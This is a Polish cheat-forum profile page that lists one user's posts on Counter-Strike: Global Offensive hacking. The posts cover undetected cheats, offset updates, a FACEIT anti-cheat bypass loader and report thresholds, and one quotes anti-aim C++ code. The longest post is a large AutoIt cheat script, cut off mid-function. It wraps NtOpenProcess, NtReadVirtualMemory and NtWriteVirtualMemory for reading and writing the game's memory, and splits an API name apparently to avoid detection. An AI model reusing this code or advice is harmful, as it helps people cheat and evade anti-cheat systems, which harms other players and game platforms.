-
Postów
3850 -
Dołączył
-
Dostępny
-
Wygrane
178 -
Donacje
0.00 PLN -
Diamenty
800 [ Podaruj ]
Typ zawartości
Profile
Forum
FAQ
Quiz
Posty opublikowane przez Adi2071
-
-
13 godzin temu, OzieK napisał:
czy da się to jeszcze zaktualizować żeby działało oraz jak zmienić nazwę hax
Wszystko da się zaktualizować, ale jak nie wiesz jak zmienić nazwę haxa to nie bierz się za aktualizację bo sobie nie poradzisz
0 -
Godzinę temu, kalesonxD napisał:
Czy to da sie odpalic zwyklym injectorem?
Da się odpalić każdym.
0 -
Aktualizacja w przypadku internali nie ma sensu gdyż offsety się automatycznie aktualizują. Osiris działający z przed pół roku jest nadal niewykrywalny. Co do externali to wystarczy zrobić opcje aby sprawdzało offsety z hazedumpera i automatycznie aktualizowało.
1 -
zaktualizować offsety
0 -
-
Można kupić działające za niewielkie pieniądze, ale pytanie czy niewykrywalne :D. Wystarczy mieć dllke z aimbotem mouse_event i loader faceit bypass i jazda
0 -
@jankowiaczek A osiris ma taką funkcje? jest niewykrywalny już od bardzo dawana. Nie wiem czy wersja z csh ale ta z githuba na pewno.
0 -
Ale taką samą bzdurą może być 4-6 reportów na non prime jak i 11 na prime. Tego nikt nie wie. Pewnie nawet samo valve tego nie wie. Nie ma co się spierać o takie bzdur. CSGO to ściek jakich mało. Jedyny sens gry ma FACET AC / ESEA.
0 -
58 minut temu, JKRZ napisał:
@Adi2071 To, że sobie napisałeś, że jest sprawdzone, nie znaczy, że tak jest.
W tym momencie kojarzy mi się to:
Gadaj jak ze ścianą. Mi się nasuwa jedno "no debil". Ja to z znajomymi sprawdzałem. Haxowaliśmy na prime i na non prime. Te same ustawienia, te same zachowania itd. Na non prime demka leciały szybciej niż na prime. Co oznacza, że na non prime potrzeba jest mniej reportów aby demko trafiło do nadzoru. Ile reportów realnie potrzeba tego nikt nie wie i się nie dowie. Na forach piszą że jest to 4-6. Na tym forum jest mnóstwo tematów związanych z reportami csgo.
0 -
Jak napisałem , że sprawdzone to po co ci źródło tych informacji? 4-6 reportów na non prime jest już bardzo długo. Zostało to wprowadzone wrazem z przejściem csa jako f2p z tego co pamiętam lub chwilę przed. Na tym forum też jest kilka tematów , które o tym mówią.
0 -
@JKRZ a co ma source do tego?
0 -
niestety nie, sprawdzone. Na prime jest 11 reportów a na non prime demka trafiają szybciej. Wystarczy 4 lub 6 reportów. Nie pamiętam dokładnie.
0 -
11 reportów na prime, 4 lub 6 na non prime
0 -
Osiris nie ma RAGE AA ani nawet Legit 😄
if (antiAimConfig.yaw && !sendPacket && cmd->viewangles.y == currentViewAngles.y) { cmd->viewangles.y += localPlayer->getMaxDesyncAngle(); if (fabsf(cmd->sidemove) < 5.0f) { if (cmd->buttons & UserCmd::IN_DUCK) cmd->sidemove = cmd->tickCount & 1 ? 3.25f : -3.25f; else cmd->sidemove = cmd->tickCount & 1 ? 1.1f : -1.1f; } }
3 -
Będzie niewykrywalny jak dodasz MiniHook
0 -
AUTOR: csgomade
#include <SecurityConstants.au3> #include <GDIPlus.au3> #include <Misc.au3> #include <IE.au3> #include <NomadMemory.au3> #include <GUIConstantsEx.au3> #include <WindowsConstants.au3> #include <WinApi.au3> #include <Constants.au3> #include <Console.au3> #include <WinAPIEx.au3> #include <Math.au3> #include <StaticConstants.au3> #include <ButtonConstants.au3> #include <EditConstants.au3> #NoTrayIcon #RequireAdmin Global Const $HTTP_STATUS_OK = 200 Func _crypt_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id) Local $hinfile, $houtfile Local $ierror = 0, $vreturn = True Local $btempdata Local $ifilesize = FileGetSize($ssourcefile) Local $iread = 0 _crypt_startup() Do If $ialg_id <> $calg_userkey Then $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id) If @error Then $ierror = 1 $vreturn = -1 ExitLoop EndIf EndIf $hinfile = FileOpen($ssourcefile, 16) If @error Then $ierror = 2 $vreturn = -1 ExitLoop EndIf $houtfile = FileOpen($sdestinationfile, 26) If @error Then $ierror = 3 $vreturn = -1 ExitLoop EndIf Do $btempdata = FileRead($hinfile, 1024 * 1024) $iread += BinaryLen($btempdata) If $iread = $ifilesize Then $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, True) If @error Then $ierror = 4 $vreturn = -1 EndIf FileWrite($houtfile, $btempdata) ExitLoop 2 Else $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, False) If @error Then $ierror = 5 $vreturn = -1 ExitLoop 2 EndIf FileWrite($houtfile, $btempdata) EndIf Until False Until True If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey) _crypt_shutdown() If $hinfile <> -1 Then FileClose($hinfile) If $houtfile <> -1 Then FileClose($houtfile) Return SetError($ierror, 0, $vreturn) EndFunc Func _crypt_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id) Local $hinfile, $houtfile Local $ierror = 0, $vreturn = True Local $btempdata Local $ifilesize = FileGetSize($ssourcefile) Local $iread = 0 _crypt_startup() Do If $ialg_id <> $calg_userkey Then $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id) If @error Then $ierror = 1 $vreturn = -1 ExitLoop EndIf EndIf $hinfile = FileOpen($ssourcefile, 16) If @error Then $ierror = 2 $vreturn = -1 ExitLoop EndIf $houtfile = FileOpen($sdestinationfile, 26) If @error Then $ierror = 3 $vreturn = -1 ExitLoop EndIf Do $btempdata = FileRead($hinfile, 1024 * 1024) $iread += BinaryLen($btempdata) If $iread = $ifilesize Then $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, True) If @error Then $ierror = 4 $vreturn = -1 EndIf FileWrite($houtfile, $btempdata) ExitLoop 2 Else $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, False) If @error Then $ierror = 5 $vreturn = -1 ExitLoop 2 EndIf FileWrite($houtfile, $btempdata) EndIf Until False Until True If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey) _crypt_shutdown() If $hinfile <> -1 Then FileClose($hinfile) If $houtfile <> -1 Then FileClose($houtfile) Return SetError($ierror, 0, $vreturn) EndFunc Func __crypt_refcount() Return $__g_acryptinternaldata[0] EndFunc Func __crypt_refcountinc() $__g_acryptinternaldata[0] += 1 EndFunc Func __crypt_refcountdec() If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1 EndFunc Func __crypt_dllhandle() Return $__g_acryptinternaldata[1] EndFunc Func __crypt_dllhandleset($hadvapi32) $__g_acryptinternaldata[1] = $hadvapi32 EndFunc Func __crypt_context() Return $__g_acryptinternaldata[2] EndFunc Func __crypt_contextset($hcryptcontext) $__g_acryptinternaldata[2] = $hcryptcontext EndFunc Func _filecountlines($sfilepath) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $sfilecontent = StringStripWS(FileRead($hfile), 2) FileClose($hfile) Local $atmp If StringInStr($sfilecontent, @LF) Then $atmp = StringSplit(StringStripCR($sfilecontent), @LF) ElseIf StringInStr($sfilecontent, @CR) Then $atmp = StringSplit($sfilecontent, @CR) Else If StringLen($sfilecontent) Then Return 1 Else Return SetError(2, 0, 0) EndIf EndIf Return $atmp[0] EndFunc Func _filecreate($sfilepath) Local $hopenfile = FileOpen($sfilepath, $fo_overwrite) If $hopenfile = -1 Then Return SetError(1, 0, 0) Local $hwritefile = FileWrite($hopenfile, "") FileClose($hopenfile) If $hwritefile = -1 Then Return SetError(2, 0, 0) Return 1 EndFunc Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0) Local $hsearch, $sfile, $sfilelist, $sdelim = "|" $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\" If NOT FileExists($spath) Then Return SetError(1, 1, "") If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "") If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "") $hsearch = FileFindFirstFile($spath & $sfilter) If @error Then Return SetError(4, 4, "") While 1 $sfile = FileFindNextFile($hsearch) If @error Then ExitLoop If ($iflag + @extended = 2) Then ContinueLoop $sfilelist &= $sdelim & $sfile WEnd FileClose($hsearch) If NOT $sfilelist Then Return SetError(4, 4, "") Return StringSplit(StringTrimLeft($sfilelist, 1), "|") EndFunc Func _fileprint($s_file, $i_show = @SW_HIDE) Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show) If @error Then Return SetError(@error, @extended, 0) If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0) Return 1 EndFunc Func _filereadtoarray($sfilepath, ByRef $aarray) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $afile = FileRead($hfile, FileGetSize($sfilepath)) If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1) If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1) FileClose($hfile) If StringInStr($afile, @LF) Then $aarray = StringSplit(StringStripCR($afile), @LF) ElseIf StringInStr($afile, @CR) Then $aarray = StringSplit($afile, @CR) Else If StringLen($afile) Then Dim $aarray[2] = [1, $afile] Else Return SetError(2, 0, 0) EndIf EndIf Return 1 EndFunc Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0, $s_delim = "|") If NOT IsArray($a_array) Then Return SetError(2, 0, 0) Local $idims = UBound($a_array, 0) If $idims > 2 Then Return SetError(4, 0, 0) Local $last = UBound($a_array) - 1 If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last If $i_base < 0 OR $i_base > $last Then $i_base = 0 Local $hfile If IsString($file) Then $hfile = FileOpen($file, $fo_overwrite) Else $hfile = $file EndIf If $hfile = -1 Then Return SetError(1, 0, 0) Local $errorsav = 0 Switch $idims Case 1 For $x = $i_base To $i_ubound If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then $errorsav = 3 ExitLoop EndIf Next Case 2 Local $s_temp For $x = $i_base To $i_ubound $s_temp = $a_array[$x][0] For $y = 1 To $idims $s_temp &= $s_delim & $a_array[$x][$y] Next If FileWrite($hfile, $s_temp & @CRLF) = 0 Then $errorsav = 3 ExitLoop EndIf Next EndSwitch If IsString($file) Then FileClose($hfile) If $errorsav Then Return SetError($errorsav, 0, 0) Return 1 EndFunc Func _pathfull($srelativepath, $sbasepath = @WorkingDir) If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath Local $sfullpath = StringReplace($srelativepath, "/", "\") Local Const $sfullpathconst = $sfullpath Local $spath Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\" For $i = 1 To 2 $spath = StringLeft($sfullpath, 2) If $spath = "\\" Then $sfullpath = StringTrimLeft($sfullpath, 2) Local $nserverlen = StringInStr($sfullpath, "\") - 1 $spath = "\\" & StringLeft($sfullpath, $nserverlen) $sfullpath = StringTrimLeft($sfullpath, $nserverlen) ExitLoop ElseIf StringRight($spath, 1) = ":" Then $sfullpath = StringTrimLeft($sfullpath, 2) ExitLoop Else $sfullpath = $sbasepath & "\" & $sfullpath EndIf Next If $i = 3 Then Return "" If StringLeft($sfullpath, 1) <> "\" Then If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then $sfullpath = $sbasepath & "\" & $sfullpath Else $sfullpath = "\" & $sfullpath EndIf EndIf Local $atemp = StringSplit($sfullpath, "\") Local $apathparts[$atemp[0]], $j = 0 For $i = 2 To $atemp[0] If $atemp[$i] = ".." Then If $j Then $j -= 1 ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then $apathparts[$j] = $atemp[$i] $j += 1 EndIf Next $sfullpath = $spath If NOT $brootonly Then For $i = 0 To $j - 1 $sfullpath &= "\" & $apathparts[$i] Next Else $sfullpath &= $sfullpathconst If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath) EndIf While StringInStr($sfullpath, ".\") $sfullpath = StringReplace($sfullpath, ".\", "\") WEnd Return $sfullpath EndFunc Func _pathgetrelative($sfrom, $sto) If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\" If StringRight($sto, 1) <> "\" Then $sto &= "\" If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1)) Local $asfrom = StringSplit($sfrom, "\") Local $asto = StringSplit($sto, "\") If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1)) Local $i = 2 Local $idiff = 1 While 1 If $asfrom[$i] <> $asto[$i] Then $idiff = $i ExitLoop EndIf $i += 1 WEnd $i = 1 Local $srelpath = "" For $j = 1 To $asto[0] If $i >= $idiff Then $srelpath &= "\" & $asto[$i] EndIf $i += 1 Next $srelpath = StringTrimLeft($srelpath, 1) $i = 1 For $j = 1 To $asfrom[0] If $i > $idiff Then $srelpath = "..\" & $srelpath EndIf $i += 1 Next If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1) Return $srelpath EndFunc Func _pathmake($szdrive, $szdir, $szfname, $szext) If StringLen($szdrive) Then If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":" EndIf If StringLen($szdir) Then If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\" EndIf If StringLen($szext) Then If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext EndIf Return $szdrive & $szdir & $szfname & $szext EndFunc Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext) Local $drive = "" Local $dir = "" Local $fname = "" Local $ext = "" Local $pos Local $array[5] $array[0] = $szpath If StringMid($szpath, 2, 1) = ":" Then $drive = StringLeft($szpath, 2) $szpath = StringTrimLeft($szpath, 2) ElseIf StringLeft($szpath, 2) = "\\" Then $szpath = StringTrimLeft($szpath, 2) $pos = StringInStr($szpath, "\") If $pos = 0 Then $pos = StringInStr($szpath, "/") If $pos = 0 Then $drive = "\\" & $szpath $szpath = "" Else $drive = "\\" & StringLeft($szpath, $pos - 1) $szpath = StringTrimLeft($szpath, $pos - 1) EndIf EndIf Local $nposforward = StringInStr($szpath, "/", 0, -1) Local $nposbackward = StringInStr($szpath, "\", 0, -1) If $nposforward >= $nposbackward Then $pos = $nposforward Else $pos = $nposbackward EndIf $dir = StringLeft($szpath, $pos) $fname = StringRight($szpath, StringLen($szpath) - $pos) If StringLen($dir) = 0 Then $fname = $szpath $pos = StringInStr($fname, ".", 0, -1) If $pos Then $ext = StringRight($fname, StringLen($fname) - ($pos - 1)) $fname = StringLeft($fname, $pos - 1) EndIf $szdrive = $drive $szdir = $dir $szfname = $fname $szext = $ext $array[1] = $drive $array[2] = $dir $array[3] = $fname $array[4] = $ext Return $array EndFunc Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1) Local $iretval = 0 Local $ncount, $sendswith If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1) Local $hfile = FileOpen($szfilename, $fo_read) If $hfile = -1 Then Return SetError(1, 0, -1) Local $s_totfile = FileRead($hfile, FileGetSize($szfilename)) If StringRight($s_totfile, 2) = @CRLF Then $sendswith = @CRLF ElseIf StringRight($s_totfile, 1) = @CR Then $sendswith = @CR ElseIf StringRight($s_totfile, 1) = @LF Then $sendswith = @LF Else $sendswith = "" EndIf Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF) FileClose($hfile) Local $iencoding = FileGetEncoding($szfilename) Local $hwritehandle = FileOpen($szfilename, $iencoding + $fo_overwrite) If $hwritehandle = -1 Then Return SetError(2, 0, -1) For $ncount = 1 To $afilelines[0] If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then $afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness) $iretval = $iretval + 1 If $foccurance = 0 Then $iretval = 1 ExitLoop EndIf EndIf Next For $ncount = 1 To $afilelines[0] - 1 If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then FileClose($hwritehandle) Return SetError(3, 0, -1) EndIf Next If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith) FileClose($hwritehandle) Return $iretval EndFunc Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7) If IsKeyword($s_fileprefix) Then $s_fileprefix = "~" If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp" If IsKeyword($i_randomlength) Then $i_randomlength = 7 If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\" Local $s_tempname Do $s_tempname = "" While StringLen($s_tempname) < $i_randomlength $s_tempname = $s_tempname & Chr(Random(97, 122, 1)) WEnd $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension Until NOT FileExists($s_tempname) Return $s_tempname EndFunc $dllsoftwarezzz = "ntdll.dll" Func _ntopenprocesszzz($pid) Local Const $tagobjectattributes = "ulong Length;hwnd RootDirectory;ptr ObjectName;ulong Attributes;ptr SecurityDescriptor;ptr SecurityQualityOfService" Local $soa = DllStructCreate($tagobjectattributes) DllStructSetData($soa, "Length", DllStructGetSize($soa)) DllStructSetData($soa, "RootDirectory", 0) DllStructSetData($soa, "ObjectName", 0) DllStructSetData($soa, "Attributes", 64) DllStructSetData($soa, "SecurityDescriptor", 0) DllStructSetData($soa, "SecurityQualityOfService", 0) Local $clientid = DllStructCreate("dword_ptr UniqueProcessId;dword_ptr UniqueThreadId") DllStructSetData($clientid, "UniqueProcessId", $pid) DllStructSetData($clientid, "UniqueThreadId", 0) Local $acall = DllCall($dllsoftwarezzz, "hwnd", "NtOpenProcess", "handle*", 0, "dword", 2035711, "struct*", $soa, "struct*", $clientid) If NOT nt2_successzzz($acall[0]) Then ConsoleWrite("Error in NtOpenProcess: " & Hex($acall[0], 8) & @CRLF) Return SetError(1, 0, $acall[0]) Else Return $acall[1] EndIf EndFunc Func nt2_successzzz($status) If 0 <= $status AND $status <= 2147483647 Then Return True Else Return False EndIf EndFunc Func _ntreadvirtualmemoryzzz($i_baseaddress, $h_process, $s_type, $i_read = 1) Local $a_res, $t_buff, $i_size, $p_buff $t_buff = DllStructCreate($s_type & "[" & $i_read & "]") $i_size = DllStructGetSize($t_buff) $p_buff = DllStructGetPtr($t_buff) $a_res = DllCall($dllsoftwarezzz, "int", "NtReadVirtualMemory", "handle", $h_process, "ptr", $i_baseaddress, "ptr", $p_buff, "ulong", $i_size, "int*", 0) If (@error) OR ($a_res[0]) Then Return SetError(1, 0, "") Return SetExtended($a_res[5], DllStructGetData($t_buff, 1)) EndFunc Func _ntclosezzz($h_hwnd) Local $a_res = DllCall($dllsoftwarezzz, "int", "NtClose", "handle", $h_hwnd) If (@error) OR ($a_res[0]) Then Return False Return True EndFunc Func _ntwritevirtualmemoryzzz($vaddress, $hprocess, $v_data, $sv_type = "dword") Local $v_buffer = DllStructCreate($sv_type) If @error Then SetError(@error + 1) Return 0 Else DllStructSetData($v_buffer, 1, $v_data) If @error Then SetError(6) Return 0 EndIf EndIf $c = DllStructCreate("int", DllStructGetPtr($v_buffer, 1)) $aret = DllCall("ntdll.dll", "int", "NtWrite" & "VirtualMemory", "int", $hprocess, "ptr", $vaddress, "ptr*", DllStructGetData($c, 1), "int", DllStructGetSize($v_buffer), "int", 0) Return (NOT @error) AND ($aret[0] <> 0) EndFunc Func _arrayadd(ByRef $avarray, $vvalue) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1) Local $iubound = UBound($avarray) ReDim $avarray[$iubound + 1] $avarray[$iubound] = $vvalue Return $iubound EndFunc Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Local $imid = Int(($iend + $istart) / 2) If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1) While $istart <= $imid AND $vvalue <> $avarray[$imid] If $vvalue < $avarray[$imid] Then $iend = $imid - 1 Else $istart = $imid + 1 EndIf $imid = Int(($iend + $istart) / 2) WEnd If $istart > $iend Then Return SetError(3, 0, -1) Return $imid EndFunc Func _arraycombinations(ByRef $avarray, $iset, $sdelim = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $in = UBound($avarray) Local $ir = $iset Local $aidx[$ir] For $i = 0 To $ir - 1 $aidx[$i] = $i Next Local $itotal = __array_combinations($in, $ir) Local $ileft = $itotal Local $aresult[$itotal + 1] $aresult[0] = $itotal Local $icount = 1 While $ileft > 0 __array_getnext($in, $ir, $ileft, $itotal, $aidx) For $i = 0 To $iset - 1 $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim Next If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1) $icount += 1 WEnd Return $aresult EndFunc Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart = 0) If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0) If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0) If UBound($avarraytarget, 0) <> 1 Then If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0) Return SetError(3, 0, 0) EndIf If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0) Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource = UBound($avarraysource) ReDim $avarraytarget[$iuboundtarget + $iuboundsource] For $i = $istart To $iuboundsource - 1 $avarraytarget[$iuboundtarget + $i] = $avarraysource[$i] Next Return $iuboundtarget + $iuboundsource EndFunc Func _arraycreate($v_0, $v_1 = 0, $v_2 = 0, $v_3 = 0, $v_4 = 0, $v_5 = 0, $v_6 = 0, $v_7 = 0, $v_8 = 0, $v_9 = 0, $v_10 = 0, $v_11 = 0, $v_12 = 0, $v_13 = 0, $v_14 = 0, $v_15 = 0, $v_16 = 0, $v_17 = 0, $v_18 = 0, $v_19 = 0, $v_20 = 0) Local $av_array[21] = [$v_0, $v_1, $v_2, $v_3, $v_4, $v_5, $v_6, $v_7, $v_8, $v_9, $v_10, $v_11, $v_12, $v_13, $v_14, $v_15, $v_16, $v_17, $v_18, $v_19, $v_20] ReDim $av_array[@NumParams] Return $av_array EndFunc Func _arraydelete(ByRef $avarray, $ielement) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $iubound = UBound($avarray, 1) - 1 If NOT $iubound Then $avarray = "" Return 0 EndIf If $ielement < 0 Then $ielement = 0 If $ielement > $iubound Then $ielement = $iubound Switch UBound($avarray, 0) Case 1 For $i = $ielement To $iubound - 1 $avarray[$i] = $avarray[$i + 1] Next ReDim $avarray[$iubound] Case 2 Local $isubmax = UBound($avarray, 2) - 1 For $i = $ielement To $iubound - 1 For $j = 0 To $isubmax $avarray[$i][$j] = $avarray[$i + 1][$j] Next Next ReDim $avarray[$iubound][$isubmax + 1] Case Else Return SetError(3, 0, 0) EndSwitch Return $iubound EndFunc Func _arraydisplay(Const ByRef $avarray, $stitle = "Array: ListView Display", $iitemlimit = -1, $itranspose = 0, $sseparator = "", $sreplace = "|", $sheader = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $idimension = UBound($avarray, 0), $iubound = UBound($avarray, 1) - 1, $isubmax = UBound($avarray, 2) - 1 If $idimension > 2 Then Return SetError(2, 0, 0) If $sseparator = "" Then $sseparator = Chr(124) If _arraysearch($avarray, $sseparator, 0, 0, 0, 1) <> -1 Then For $x = 1 To 255 If $x >= 32 AND $x <= 127 Then ContinueLoop Local $sfind = _arraysearch($avarray, Chr($x), 0, 0, 0, 1) If $sfind = -1 Then $sseparator = Chr($x) ExitLoop EndIf Next EndIf Local $vtmp, $ibuffer = 4094 Local $icollimit = 250 Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Opt("GUIDataSeparatorChar", $sseparator) If $isubmax < 0 Then $isubmax = 0 If $itranspose Then $vtmp = $iubound $iubound = $isubmax $isubmax = $vtmp EndIf If $isubmax > $icollimit Then $isubmax = $icollimit If $iitemlimit < 1 Then $iitemlimit = $iubound If $iubound > $iitemlimit Then $iubound = $iitemlimit If $sheader = "" Then $sheader = "Row " For $i = 0 To $isubmax $sheader &= $sseparator & "Col " & $i Next EndIf Local $avarraytext[$iubound + 1] For $i = 0 To $iubound $avarraytext[$i] = "[" & $i & "]" For $j = 0 To $isubmax If $idimension = 1 Then If $itranspose Then $vtmp = $avarray[$j] Else $vtmp = $avarray[$i] EndIf Else If $itranspose Then $vtmp = $avarray[$j][$i] Else $vtmp = $avarray[$i][$j] EndIf EndIf $vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0, 1) If StringLen($vtmp) > $ibuffer Then $vtmp = StringLeft($vtmp, $ibuffer) $avarraytext[$i] &= $sseparator & $vtmp Next Next Local Const $_arrayconstant_gui_dockborders = 102 Local Const $_arrayconstant_gui_dockbottom = 64 Local Const $_arrayconstant_gui_dockheight = 512 Local Const $_arrayconstant_gui_dockleft = 2 Local Const $_arrayconstant_gui_dockright = 4 Local Const $_arrayconstant_gui_event_close = -3 Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29) Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4) Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44) Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54) Local Const $_arrayconstant_lvs_ex_fullrowselect = 32 Local Const $_arrayconstant_lvs_ex_gridlines = 1 Local Const $_arrayconstant_lvs_showselalways = 8 Local Const $_arrayconstant_ws_ex_clientedge = 512 Local Const $_arrayconstant_ws_maximizebox = 65536 Local Const $_arrayconstant_ws_minimizebox = 131072 Local Const $_arrayconstant_ws_sizebox = 262144 Local $iwidth = 640, $iheight = 480 Local $hgui = GUICreate($stitle, $iwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox)) Local $aiguisize = WinGetClientSize($hgui) Local $hlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - 26, $_arrayconstant_lvs_showselalways) Local $hcopy = GUICtrlCreateButton("Copy Selected", 3, $aiguisize[1] - 23, $aiguisize[0] - 6, 20) GUICtrlSetResizing($hlistview, $_arrayconstant_gui_dockborders) GUICtrlSetResizing($hcopy, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect) GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge) For $i = 0 To $iubound GUICtrlCreateListViewItem($avarraytext[$i], $hlistview) Next $iwidth = 0 For $i = 0 To $isubmax + 1 $iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0) Next If $iwidth < 250 Then $iwidth = 230 $iwidth += 20 If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100 WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth) GUISetState(@SW_SHOW, $hgui) While 1 Switch GUIGetMsg() Case $_arrayconstant_gui_event_close ExitLoop Case $hcopy Local $sclip = "" Local $aicuritems[1] = [0] For $i = 0 To GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemcount, 0, 0) If GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemstate, $i, 2) Then $aicuritems[0] += 1 ReDim $aicuritems[$aicuritems[0] + 1] $aicuritems[$aicuritems[0]] = $i EndIf Next If NOT $aicuritems[0] Then For $sitem In $avarraytext $sclip &= $sitem & @CRLF Next Else For $i = 1 To UBound($aicuritems) - 1 $sclip &= $avarraytext[$aicuritems[$i]] & @CRLF Next EndIf ClipPut($sclip) EndSwitch WEnd GUIDelete($hgui) Opt("GUIOnEventMode", $ioneventmode) Opt("GUIDataSeparatorChar", $sdataseparatorchar) Return 1 EndFunc Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $isubitem = 0) $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $icompare, 1, $isubitem) If @error Then Return SetError(@error, 0, -1) Local $iindex = 0, $avresult[UBound($avarray)] Do $avresult[$iindex] = $istart $iindex += 1 $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $icompare, 1, $isubitem) Until @error ReDim $avresult[$iindex] Return $avresult EndFunc Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $iubound = UBound($avarray) + 1 ReDim 